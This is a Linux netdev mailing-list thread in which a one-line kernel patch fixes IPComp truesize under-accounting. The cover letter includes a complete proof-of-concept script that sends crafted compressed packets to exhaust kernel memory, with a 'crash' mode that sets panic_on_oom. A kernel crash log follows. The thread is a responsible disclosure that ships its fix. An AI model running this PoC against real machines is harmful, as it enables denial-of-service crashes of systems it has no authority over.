* [PATCH net 0/1] xfrm: ipcomp: account full fragment pages in truesize
@ 2026-10-22 18:32 Zhiling Zou
2026-10-22 18:32 ` [PATCH net 1/1] " Zhiling Zou
0 siblings, 1 reply; 2+ messages in thread
From: Zhiling Zou @ 2026-10-22 18:32 UTC (permalink / raw)
To: netdev
Cc: steffen.klassert, herbert, davem, edumazet, pabeni, horms, vega,
zhilinz
Hi Linux kernel maintainers,
We found and validated an issue in net/xfrm/xfrm_ipcomp.c. The bug is
reachable by a non-root user via user and network namespaces.
This bug is tracked at: https://bugtracker.nebusec.ai/f/13830
We will provide detailed information about the bug
in this email, along with a PoC to trigger it.
---- details below ----
Bug details:
ipcomp_post_acomp() attaches freshly allocated order-0 pages to the
reassembled skb but, on input, increases skb->truesize only by the
decompressed byte count. When the output ends partway through the final
page, the unused tail of that page remains allocated but is absent from
the socket receive-memory charge. Repeated IPComp packets queued to
sockets can therefore retain more kernel memory than the configured
receive-memory limits account for.
Round the input truesize charge up to the page size, matching the pages
attached to the skb. Output-side accounting remains unchanged.
Reproducer:
unshare -Urn ./poc.sh observe
NSOCK=100 NPKT=6 ./poc.sh crash
The observe mode sends a raw IPComp packet through an inbound XFRM state.
The crash mode sets vm.panic_on_oom=2 and sends compressed payloads to UDP
sockets to exercise the memory-accounting discrepancy. The script
requires iproute2, Python 3, XFRM/IPComp, and the deflate crypto
implementation. We run the PoC in a 2 vCPU, 512 MB RAM x86 QEMU
environment.
------BEGIN poc.sh------
#!/bin/bash
set -euo pipefail
MODE="${1:-observe}"
NSOCK="${NSOCK:-100}"
NPKT="${NPKT:-6}"
PAYLOAD_LEN="${PAYLOAD_LEN:-53585}"
BASE_PORT="${BASE_PORT:-20000}"
SRC_IP="${SRC_IP:-10.0.1.1}"
DST_IP="${DST_IP:-10.0.1.2}"
VETH_A="${VETH_A:-ipcomp0}"
VETH_B="${VETH_B:-ipcomp1}"
STATE_SPI="${STATE_SPI:-0x100}"
cleanup() {
ip link del "$VETH_A" 2>/dev/null || true
rm -f /tmp/ipcomp_recv.log /tmp/ipcomp_sender.py
}
trap cleanup EXIT
setup_net() {
ip link del "$VETH_A" 2>/dev/null || true
ip link add "$VETH_A" type veth peer name "$VETH_B"
ip addr add "$SRC_IP/24" dev "$VETH_A"
ip addr add "$DST_IP/24" dev "$VETH_B"
ip link set lo up
ip link set "$VETH_A" up
ip link set "$VETH_B" up
ip xfrm state add src "$SRC_IP" dst "$DST_IP" proto comp spi "$STATE_SPI" mode transport comp deflate
ip xfrm policy add dir in src "$SRC_IP/32" dst "$DST_IP/32" \
tmpl src "$SRC_IP" dst "$DST_IP" proto comp mode transport
}
write_sender() {
cat >/tmp/ipcomp_sender.py <<'PY'
import os
import socket
import struct
import time
import zlib
SRC = os.environ["SRC_IP"]
DST = os.environ["DST_IP"]
BASE_PORT = int(os.environ["BASE_PORT"])
NSOCK = int(os.environ["NSOCK"])
NPKT = int(os.environ["NPKT"])
PAYLOAD_LEN = int(os.environ["PAYLOAD_LEN"])
SPI = int(os.environ["STATE_SPI"], 0)
SPORT = 12345
PAYLOAD = b"Z" * PAYLOAD_LEN
def checksum(data):
if len(data) & 1:
data += b"\0"
words = struct.unpack("!%dH" % (len(data) // 2), data)
total = sum(words)
while total >> 16:
total = (total & 0xFFFF) + (total >> 16)
return (~total) & 0xFFFF
def build_packet(dport):
udp_len = 8 + len(PAYLOAD)
udp = struct.pack("!HHHH", SPORT, dport, udp_len, 0) + PAYLOAD
comp = zlib.compressobj(level=9, wbits=-zlib.MAX_WBITS)
compressed = comp.compress(udp) + comp.flush()
ipcomp = struct.pack("!BBH", socket.IPPROTO_UDP, 0, SPI) + compressed
total_len = 20 + len(ipcomp)
iphdr = struct.pack(
"!BBHHHBBH4s4s",
0x45,
0,
total_len,
dport & 0xFFFF,
0,
64,
108,
0,
socket.inet_aton(SRC),
socket.inet_aton(DST),
)
iphdr = iphdr[:10] + struct.pack("!H", checksum(iphdr)) + iphdr[12:]
return iphdr + ipcomp
if os.environ.get("ROLE") == "recv":
sockets = []
for i in range(NSOCK):
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_RCVBUF, 262144)
s.bind((DST, BASE_PORT + i))
sockets.append(s)
print(f"ready sockets={len(sockets)}", flush=True)
if NSOCK == 1 and NPKT == 1:
data, addr = sockets[0].recvfrom(70000)
print(f"received len={len(data)} from={addr[0]}:{addr[1]}", flush=True)
else:
time.sleep(600)
else:
pkts = [build_packet(BASE_PORT + i) for i in range(NSOCK)]
rs = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)
rs.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
sent = 0
for _ in range(NPKT):
for pkt in pkts:
rs.sendto(pkt, (DST, 0))
sent += 1
print(f"sent packets={sent}", flush=True)
PY
}
observe_once() {
python3 - <<'PY'
import os
import subprocess
import tempfile
trace = r"""
kprobe:ipcomp_input
{
@skb[tid] = arg1;
@ts[tid] = ((struct sk_buff *)arg1)->truesize;
@pages[tid] = 0;
}
kprobe:__alloc_pages_noprof /@skb[tid]/
{
@pages[tid] = @pages[tid] + 1;
}
kretprobe:ipcomp_input /@skb[tid]/
{
$skb = (struct sk_buff *)@skb[tid];
$delta = $skb->truesize - @ts[tid];
printf("pages=%d delta=%d under=%d final_len=%d data_len=%d\n",
@pages[tid], $delta, (@pages[tid] * 4096) - $delta,
$skb->len, $skb->data_len);
delete(@skb[tid]);
delete(@ts[tid]);
delete(@pages[tid]);
}
"""
with tempfile.NamedTemporaryFile("w", delete=False) as f:
f.write(trace)
path = f.name
proc = subprocess.Popen(["bpftrace", path], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, text=True)
print(proc.pid)
PY
}
do_observe() {
export NSOCK=1 NPKT=1
setup_net
write_sender
if command -v bpftrace >/dev/null 2>&1; then
BTPID="$(observe_once | tail -n1)"
sleep 2
fi
env ROLE=recv NSOCK=1 NPKT=1 SRC_IP="$SRC_IP" DST_IP="$DST_IP" BASE_PORT="$BASE_PORT" \
PAYLOAD_LEN="$PAYLOAD_LEN" STATE_SPI="$STATE_SPI" python3 /tmp/ipcomp_sender.py >/tmp/ipcomp_recv.log 2>&1 &
RECV_PID=$!
sleep 1
env SRC_IP="$SRC_IP" DST_IP="$DST_IP" BASE_PORT="$BASE_PORT" NSOCK=1 NPKT=1 \
PAYLOAD_LEN="$PAYLOAD_LEN" STATE_SPI="$STATE_SPI" python3 /tmp/ipcomp_sender.py
wait "$RECV_PID"
cat /tmp/ipcomp_recv.log
if [ -n "${BTPID:-}" ]; then
sleep 2
kill "$BTPID" 2>/dev/null || true
fi
}
do_crash() {
if [ "$(id -u)" -ne 0 ]; then
echo "crash mode needs real root to set global panic sysctls" >&2
exit 1
fi
echo 0 >/proc/sys/kernel/panic_on_warn
echo 2 >/proc/sys/vm/panic_on_oom
setup_net
write_sender
env ROLE=recv NSOCK="$NSOCK" NPKT="$NPKT" SRC_IP="$SRC_IP" DST_IP="$DST_IP" BASE_PORT="$BASE_PORT" \
PAYLOAD_LEN="$PAYLOAD_LEN" STATE_SPI="$STATE_SPI" python3 /tmp/ipcomp_sender.py >/tmp/ipcomp_recv.log 2>&1 &
sleep 2
cat /tmp/ipcomp_recv.log
env SRC_IP="$SRC_IP" DST_IP="$DST_IP" BASE_PORT="$BASE_PORT" NSOCK="$NSOCK" NPKT="$NPKT" \
PAYLOAD_LEN="$PAYLOAD_LEN" STATE_SPI="$STATE_SPI" python3 /tmp/ipcomp_sender.py
}
case "$MODE" in
observe)
do_observe
;;
crash)
do_crash
;;
*)
echo "usage: $0 [observe|crash]" >&2
exit 1
;;
esac
------END poc.sh--------
----BEGIN crash log----
[ 122.352180] python3: page allocation failure: order:0, mode:0x820(GFP_ATOMIC), nodemask=(null),cpuset=/,mems_allowed=0
[ 122.353453] CPU: 0 UID: 0 PID: 926 Comm: python3 Not tainted 6.12.95 #1 7b931b951f26d30ef9f3f8d44b931a24dbfb5ce6
[ 122.353462] Call Trace:
[ 122.353471] <IRQ>
[ 122.353501] warn_alloc+0x24b/0x390
[ 122.353597] __alloc_pages_slowpath.constprop.0+0x15d8/0x2800
[ 122.353711] __alloc_pages_noprof+0x54b/0x760
[ 122.353752] alloc_pages_mpol_noprof+0x1b1/0x430
[ 122.353827] ipcomp_input+0x4d6/0xc80
[ 122.353869] xfrm_input+0x254f/0x6f50
[ 122.353946] xfrm4_ipcomp_rcv+0x7f/0xe0
[ 122.353958] ip_protocol_deliver_rcu+0x280/0x310
[ 122.353975] ip_local_deliver_finish+0x2c7/0x3d0
[ 122.353984] ip_local_deliver+0x2a7/0x300
[ 122.354038] ip_rcv+0x393/0x440
[ 122.354129] __netif_receive_skb_one_core+0x168/0x1b0
[ 122.354171] process_backlog+0x33c/0xf00
[ 122.354199] net_rx_action+0x4d4/0xc70
[ 122.354285] handle_softirqs+0x282/0x7d0
[ 122.354323] __local_bh_enable_ip+0x79/0x80
[ 122.354326] __dev_queue_xmit+0xc0a/0x31d0
[ 122.354497] ip_finish_output2+0x9b1/0x19f0
[ 122.354535] ip_output+0x1b1/0x430
[ 122.354580] raw_sendmsg+0x258b/0x2c50
[ 122.354735] __sys_sendto+0x361/0x3f0
[ 122.354811] __x64_sys_sendto+0xe0/0x1c0
[ 122.354826] do_syscall_64+0x6f/0x150
[ 122.354839] entry_SYSCALL_64_after_hwframe+0x76/0x7e
[ 122.354895] </TASK>
[ 123.097901] rasdaemon invoked oom-killer: gfp_mask=0x40cc0(GFP_KERNEL|__GFP_COMP), order=1, oom_score_adj=0
[ 123.098667] CPU: 3 UID: 0 PID: 502 Comm: rasdaemon Not tainted 6.12.95 #1 7b931b951f26d30ef9f3f8d44b931a24dbfb5ce6
[ 123.098676] Call Trace:
[ 123.098680] <TASK>
[ 123.098694] dump_header+0xf5/0x650
[ 123.098720] out_of_memory+0x737/0x1360
[ 123.098779] __alloc_pages_slowpath.constprop.0+0x1eb8/0x2800
[ 123.098856] __alloc_pages_noprof+0x54b/0x760
[ 123.098921] alloc_pages_mpol_noprof+0x1b1/0x430
[ 123.098952] allocate_slab+0x3ae/0x550
[ 123.098965] ___slab_alloc+0xdcb/0x1620
[ 123.099019] kmem_cache_alloc_noprof+0x2b9/0x3e0
[ 123.099050] user_path_at+0x21/0x50
[ 123.099058] do_faccessat+0x2c4/0x8c0
[ 123.099108] do_syscall_64+0x6f/0x150
[ 123.099123] entry_SYSCALL_64_after_hwframe+0x76/0x7e
# The serial console returned to a fresh boot (`[ 0.000000] Linux version 6.12.95 ...`)
# immediately after the OOM-path output above. The guest had `vm.panic_on_oom=2` set.
-----END crash log-----
Best regards,
Zhiling Zou
Zhiling Zou (1):
xfrm: ipcomp: account full fragment pages in truesize
net/xfrm/xfrm_ipcomp.c | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
^ permalink raw reply [flat|nested] 2+ messages in thread
* [PATCH net 1/1] xfrm: ipcomp: account full fragment pages in truesize
2026-10-22 18:32 [PATCH net 0/1] xfrm: ipcomp: account full fragment pages in truesize Zhiling Zou
@ 2026-10-22 18:32 ` Zhiling Zou
0 siblings, 0 replies; 2+ messages in thread
From: Zhiling Zou @ 2026-10-22 18:32 UTC (permalink / raw)
To: netdev
Cc: steffen.klassert, herbert, davem, edumazet, pabeni, horms, vega,
zhilinz
ipcomp_post_acomp() allocates order-0 pages for decompressed skb
fragments, but on input charges truesize by the decompressed byte count.
When the output ends partway through a page, the unused tail of its final
page is not accounted to the receiving socket. Repeated IPComp packets
can therefore retain more memory than the socket receive-memory limits
charge.
Round the decompressed length up to page size when charging input skb
truesize, matching the pages attached to the skb. Leave output accounting
unchanged.
Fixes: 7d7e5a60c62e ("ipsec: ipcomp - Decompress into frags if necessary")
Cc: stable@vger.kernel.org
Reported-by: Vega <vega@nebusec.ai>
Link: https://bugtracker.nebusec.ai/f/13830
Assisted-by: LLM
Signed-off-by: Zhiling Zou <zhilinz@nebusec.ai>
---
net/xfrm/xfrm_ipcomp.c | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/net/xfrm/xfrm_ipcomp.c b/net/xfrm/xfrm_ipcomp.c
index 671d48f8c9374..c2cc88c8c360f 100644
--- a/net/xfrm/xfrm_ipcomp.c
+++ b/net/xfrm/xfrm_ipcomp.c
@@ -67,7 +67,7 @@ static int ipcomp_post_acomp(struct sk_buff *skb, int err, int hlen)
/* Only update truesize on input. */
if (!hlen)
- skb->truesize += dlen;
+ skb->truesize += PAGE_ALIGN(dlen);
skb->data_len = dlen;
skb->len += dlen;
^ permalink raw reply related [flat|nested] 2+ messages in thread
end of thread, other threads:[~2026-10-22 18:32 UTC | newest]
Thread overview: 2+ messages (download: mbox.gz follow: Atom feed
-- links below jump to the message on this page --
2026-10-22 18:32 [PATCH net 0/1] xfrm: ipcomp: account full fragment pages in truesize Zhiling Zou
2026-10-22 18:32 ` [PATCH net 1/1] " Zhiling Zou
This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox